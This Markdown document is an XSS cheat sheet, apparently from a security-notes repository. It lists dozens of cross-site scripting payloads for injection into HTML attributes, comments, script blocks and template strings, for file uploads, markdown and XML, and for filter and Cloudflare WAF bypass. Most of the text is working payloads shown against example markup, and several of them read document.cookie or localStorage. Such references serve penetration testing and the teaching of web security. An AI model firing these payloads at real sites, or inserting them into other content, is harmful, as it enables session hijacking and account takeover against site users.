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389 lines
7.9 KiB
Markdown
389 lines
7.9 KiB
Markdown
# XSS Cheat Sheet (Basic)
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## Introduction
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Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There is 3 types of XSS Attack:
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- Reflected XSS
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Attack where the malicious script runs from another website through the web browser
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- Stored XSS
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Stored attacks are those where the injected script is permanently stored on the target servers
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- DOM-Based XSS
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A type of XSS that has payloads found in the DOM rather than within the HTML code.
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## Where to find
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This vulnerability can appear in all features of the application. If you want to find Dom-based XSS, you can find it by reading the javascript source code.
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## How to exploit
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1. Basic payload
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```html
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<script>alert(1)</script>
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<svg/onload=alert(1)>
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<img src=x onerror=alert(1)>
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```
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2. Add ' or " to escape the payload from value of an HTML tag
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```html
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"><script>alert(1)</script>
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'><script>alert(1)</script>
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```
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* Example source code
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```html
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<input id="keyword" type="text" name="q" value="REFLECTED_HERE">
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```
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* After input the payload
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```html
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<input id="keyword" type="text" name="q" value=""><script>alert(1)</script>
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```
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3. Add --> to escape the payload if input lands in HTML comments.
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```html
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--><script>alert(1)</script>
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```
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* Example source code
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```html
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<!-- REFLECTED_HERE -->
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```
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* After input the payload
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```html
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<!-- --><script>alert(1)</script> -->
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```
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4. Add </tag> when the input inside or between opening/closing tags, tag can be ```<a>,<title>,<script>``` and any other HTML tags
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```html
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</tag><script>alert(1)</script>
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"></tag><script>alert(1)</script>
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```
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* Example source code
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```html
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<a href="https://target.com/1?status=REFLECTED_HERE">1</a>
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```
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* After input the payload
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```html
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<a href="https://target.com/1?status="></a><script>alert(1)</script>">1</a>
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```
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5. Use when input inside an attribute’s value of an HTML tag but > is filtered
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```html
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" onmouseover=alert(1)
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" autofocus onfocus=alert(1)
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```
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* Example source code
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```html
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<input id="keyword" type="text" name="q" value="REFLECTED_HERE">
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```
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* After input the payload
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```html
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<input id="keyword" type="text" name="q" value="" onmouseover=alert(1)">
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```
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6. Use </script> when input inside ```<script>``` tags
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```html
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</script><script>alert(1)</script>
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```
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* Example source code
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```html
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<script>
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var sitekey = 'REFLECTED_HERE';
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</script>
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```
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* After input the payload
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```html
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<script>
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var sitekey = '</script><script>alert(1)</script>';
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</script>
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```
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## **XSS Cheat Sheet (Advanced)**
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7. Use when input lands in a script block, inside a string delimited value.
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```html
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'-alert(1)-'
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'/alert(1)//
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```
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* Example source code
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```html
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<script>
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var sitekey = 'REFLECTED_HERE';
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</script>
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```
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* After input the payload
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```html
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<script>
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var sitekey = ''-alert(1)-'';
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</script>
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```
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8. Same like Number 7. But inside a string delimited value but quotes are escaped by a backslash.
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```html
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\'alert(1)//
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```
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* Example source code
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```html
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<script>
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var sitekey = 'REFLECTED_HERE';
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</script>
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```
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* If we input payload '-alert(1)-' it will be like this
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```html
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<script>
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var sitekey = '\'-alert(1)-\'';
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</script>
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```
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The quotes are escaped by a backslash so we need to bypass them
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* After input the payload
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```html
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<script>
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var sitekey = '\\'alert(1)//';
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</script>
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```
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9. Use when there’s multi reflection in the same line of JS code
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```html
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/alert(1)//\
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/alert(1)}//\
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```
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* Example source code
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```html
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<script>
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var a = 'REFLECTED_HERE'; var b = 'REFLECTED_HERE';
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</script>
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```
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* After input the payload
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```html
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<script>
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var a = '/alert(1)//\'; var b = '/alert(1)//\';
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</script>
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```
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10. Use when input inside a string delimited value and inside a single logical block like function or conditional (if, else, etc).
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```html
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'}alert(1);{'
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\'}alert(1);{//
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```
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* Example source code
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```html
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<script>
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var greeting;
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var time = 1;
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if (time < 10) {
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test = 'REFLECTED_HERE';
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}
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</script>
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```
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* After input the payload
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```html
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<script>
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var test;
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var time = 1;
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if (time < 10) {
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test = ''}alert(1);{'';
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}
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</script>
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```
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> Payload number 2 uses when quote escaped by backslash
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11. Use when input lands inside backticks delimited strings
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```html
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${alert(1)}
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```
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* Example source code
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```html
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<script>
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var dapos = `REFLECTED_HERE`;
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</script>
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```
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* After input the payload
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```html
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<script>
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var dapos = `${alert(1)}`;
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</script>
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```
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12. Uses when there is multiple reflections on same page. (Double Reflection)
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```html
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'onload=alert(1)><svg/1='
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'>alert(1)</script><script/1='
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*/alert(1)</script><script>/*
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```
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* After input the payload
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```html
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<!DOCTYPE html>
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<html>
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<body>
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'onload=alert(1)><svg/1='
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...
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'onload=alert(1)><svg/1='
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</body>
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</html>
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```
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13. Uses when there is multiple reflections on same page. (Triple Reflection)
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```html
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*/alert(1)">'onload="/*<svg/1='
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`-alert(1)">'onload="`<svg/1='
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*/</script>'>alert(1)/*<script/1='
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```
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* After input the payload
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```html
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<!DOCTYPE html>
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<html>
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<body>
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*/alert(1)">'onload="/*<svg/1='
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...
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*/alert(1)">'onload="/*<svg/1='
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...
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*/alert(1)">'onload="/*<svg/1='
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</body>
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</html>
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```
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14. XSS in filename (File Upload) Use when uploaded filename is reflected somewhere in target page
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```
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"><svg onload=alert(1)>.jpeg
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```
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15. XSS in metadata (File Upload) Use when uploaded metada is reflected somewhere in target page (using exiftool)
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```
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$ exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg
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```
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16. XSS with SVG file (File Upload)
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```
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<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
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```
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17. XSS via markdown
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```
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[Click Me](javascript:alert('1'))
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```
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18. XSS in XML page
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```
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<a:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</a:script>
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```
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> Add a "-->" to payload if input lands in a comment section
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> Add a "]]>" if input lands in a CDATA section
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## **XSS Cheat Sheet (Bypass)**
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19. Mixed Case
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```html
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<Script>alert(document.cookie)</Script>
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```
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20. Unclosed Tags
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```html
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<svg onload="alert(1)"
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```
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21. Uppercase Payloads
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```html
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<SVG ONLOAD=ALERT(1)>
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```
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22. Encoded XSS
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```html
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(Encoded)
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%3Csvg%20onload%3Dalert(1)%3E
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(Double Encoded)
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%253Csvg%2520onload%253Dalert%281%29%253E
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(Triple Encoded)
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%25253Csvg%252520onload%25253Dalert%25281%2529%25253E
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```
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23. JS Lowercased Input
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```html
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<SCRİPT>alert(1)</SCRİPT>
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```
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24. PHP Email Validation Bypass
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```html
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<svg/onload=alert(1)>"@gmail.com
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```
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25. PHP URL Validation Bypass
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```html
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javascript://%250Aalert(1)
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```
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26. Inside Comments Bypass
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```html
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<!--><svg onload=alert(1)-->
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```
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## Bypass WAF
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1. Cloudflare
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```
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<svg%0Aonauxclick=0;[1].some(confirm)//
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<svg onload=alert%26%230000000040"")>
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<a/href=j	a	v	asc
ri	pt:(a	l	e	r	t	(1))>
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<svg onx=() onload=(confirm)(1)>
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<svg onx=() onload=(confirm)(document.cookie)>
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<svg onx=() onload=(confirm)(JSON.stringify(localStorage))>
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Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();
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"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;
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Function("\x61\x6c\x65\x72\x74\x28\x31\x29")();
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"><onx=[] onmouseover=prompt(1)>
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%2sscript%2ualert()%2s/script%2u -xss popup
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<svg onload=alert%26%230000000040"1")>
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"Onx=() onMouSeoVer=prompt(1)>"Onx=[] onMouSeoVer=prompt(1)>"/*/Onx=""//onfocus=prompt(1)>"//Onx=""/*/%01onfocus=prompt(1)>"%01onClick=prompt(1)>"%2501onclick=prompt(1)>"onClick="(prompt)(1)"Onclick="(prompt(1))"OnCliCk="(prompt`1`)"Onclick="([1].map(confirm))
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[1].map(confirm)'ale'+'rt'()a	l	e	r	t(1)prompt(1)prompt(1)prompt%26%2300000000000000000040;1%26%2300000000000000000041;(prompt())(prompt``)
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<svg onload=prompt%26%230000000040document.domain)>
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<svg onload=prompt%26%23x000000028;document.domain)>
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<svg/onrandom=random onload=confirm(1)>
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<video onnull=null onmouseover=confirm(1)>
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<a id=x tabindex=1 onbeforedeactivate=print(`XSS`)></a><input autofocus>
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:javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie
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<img ignored=() src=x onerror=prompt(1)>
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```
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## References
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- [Brute Logic](https://brutelogic.com.br/)
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- Some random twitter posts |